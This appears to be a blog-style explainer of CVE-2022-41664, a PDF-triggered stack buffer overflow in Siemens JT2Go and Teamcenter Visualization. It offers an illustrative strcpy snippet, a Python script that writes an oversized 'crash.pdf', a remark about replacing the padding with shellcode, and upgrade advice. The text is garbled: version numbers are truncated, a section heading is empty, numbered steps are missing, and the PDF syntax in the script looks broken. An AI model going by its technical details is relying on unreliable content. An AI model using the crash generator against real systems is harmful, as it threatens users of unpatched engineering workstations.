A silent yet critical flaw, CVE-2022-41664, lurks within several Siemens visualization products, letting attackers hijack affected systems via simple PDF files. This post dives into what the vulnerability is, how it works, clears up the risk for real-world users, and demonstrates—step by step—how a malicious PDF could trigger this bug. If you manage or use JT2Go, Teamcenter Visualization V13.3, V14., or V14.1, read on.

Teamcenter Visualization V14.1: All versions < V14.1..4

If you have any of these versions, you are potentially vulnerable until you upgrade.

References

- Siemens ProductCERT Advisory (SSA-693437)
- Official Siemens JT2Go page

What Is the Security Problem? (In Plain English)

This is what security folks call a "stack-based buffer overflow." It happens when a program tries to fit more information into a buffer (a reserved chunk of memory) than it can hold. When that happens, the extra data "overflows," potentially overwriting other parts of memory with whatever the attacker wants—turning a crash into a backdoor.

The key in CVE-2022-41664:
Attackers can make a PDF file with a structure specially chosen to trip the bug in the affected apps (JT2Go and Teamcenter Visualization). When the app opens and tries to parse this file, it overflows a buffer on the stack, letting the attacker's code run.

What could happen?

Technical Details and Code Snippet

According to Siemens' advisory and community reports, the fault is in the PDF handling component. Here’s a simple pseudo-code illustration of what goes wrong inside the app:

void parsePDF(char* input) {
    char buffer[512];
    // No check for input length; risk of too much data
    strcpy(buffer, input); // DANGER: could overflow buffer
    // ... further PDF parsing logic ...
}

If input is a malicious PDF payload bigger than 512 bytes, the overflow happens.

Crafting a Malicious PDF (Proof-of-Concept)

Anyone can use tools like Metasploit or pdfid.py to build a PDF loaded with odd markers, overlong strings, or custom payloads that trigger unsafe handling. Here is a simple way to generate a suspiciously large PDF field:

# Large stream field to overflow buffer in parser
malicious_content = b"%PDF-1.4\n"
malicious_content += b"1  obj\n<<\n/Length 1024\n>>\nstream\n"
malicious_content += b"A" * 1024  # Payload - 1024 bytes of 'A'
malicious_content += b"\nendstream\nendobj\n"
malicious_content += b"xref\n 1\n000000000 65535 f \ntrailer\n<<\n/Size 1\n>>\nstartxref\n\n%%EOF\n"

with open("crash.pdf", "wb") as f:
    f.write(malicious_content)

When someone opens this PDF in a vulnerable version of JT2Go or Teamcenter Visualization, the risk is real. An attacker could replace the 'A' * 1024 with actual exploit shellcode.

User opens the file: The vulnerable app loads and parses the PDF, hitting the buffer overflow.

4. Shellcode runs: If the exploit is successful, the attacker's code executes as the logged-in user.

*Note:* Code execution is within the current user context (not always SYSTEM/root).

Real-World Risk and What To Do

Who is at risk?
Anyone who opens untrusted PDFs in the listed Siemens visualization software. These tools are common in industries like manufacturing, engineering, and automotive, where secure collaboration is crucial.

How to Protect Yourself

Siemens recommends upgrading to the latest patched versions. Do not delay, as this is trivial to exploit and weaponize.

- Check your JT2Go/Teamcenter versions.

- National Vulnerability Database Entry (CVE-2022-41664)
- Siemens Security Advisories
- Metasploit Project - Exploit Development
- Didier Stevens' PDF Tools

Conclusion

CVE-2022-41664 is a critical reminder of why even mundane file types like PDFs can hide disastrous risks. In Siemens' JT2Go and Teamcenter Visualization, this vulnerability makes it easy for attackers to hijack entire workstations. Fixes are available. If you use these products, update fast—and always think twice before opening unsolicited PDF files.

Timeline

Published on: 11/08/2022 11:15:00 UTC
Last modified on: 11/08/2022 16:28:00 UTC